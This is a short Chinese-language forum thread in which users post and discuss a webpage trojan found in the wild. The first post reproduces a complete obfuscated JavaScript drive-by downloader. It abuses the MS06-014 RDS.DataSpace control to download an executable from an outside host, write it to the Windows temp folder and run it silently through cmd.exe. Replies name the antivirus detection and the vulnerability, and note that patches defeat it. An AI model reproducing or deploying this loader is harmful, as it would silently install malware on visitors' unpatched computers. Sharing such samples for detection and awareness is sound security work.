人家挂马很勤嘛 又是一个

[ky000]

<script language="javaScript">
	function gn(n) {
		 var number = Math.random()*n; 
		 return '~tmp'+Math.round(number)+'.exe'; 
		 } 
	lj="http://le.977xx.com/rpwr.exe";
	try { 
		aaa="o";
		yyy="ct";
		ccc="Adod";
		ddd="b.Stream";
		eee="Microsoft.XMLHTT"+"P";
		ggg="o";kkk="p";
		mmm="e";sss="n";
		var df=document.createElement(aaa+"bje"+yyy); 
		df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
		 var x=df.CreateObject(eee,""); 
		 var S=df.CreateObject(ccc+ddd,""); 
		 S.type=1; x.open("GET", lj,0);
		 x.send(); 
		 mz1=gn(10000); 
		 var F=df.CreateObject("Scripting.FileSystemObject",""); 
		 var tmp=F.GetSpecialFolder(0); 
		 mz1= F.BuildPath(tmp,mz1); 
		 S.Open();
		 ttt=x.responseBody;
		 S.Write(ttt); 
		 i=2;S.SaveToFile(mz1,i); 
		 S.Close(); 
		 var Q=df.CreateObject("Shell.Application",""); 
		 exp1=F.BuildPath(tmp+'\\sys'+'tem32','cmd.exe'); 
		 Q["ShellE"+"xecute"](exp1,' /c '+mz1,"",ggg+kkk+mmm+sss,0); 
		 } 
		 catch(i) 
		 { 
		 	i=1; 
		 } 
</script> 

[ky000]

检测到：病毒 'Trojan-Downloader.JS.Small.ly'。　

[Forever_Young]

天天说这些有啥用，N老的补丁打上管这些干嘛，伤身体，何况现在都SP3了，这些都是留给那些说打了补丁会死机的人用的，呵呵。

[紫郢剑侠]

MS06-014漏洞，网马还是使用的比较多

[fengyuleidian3]

suibain kankan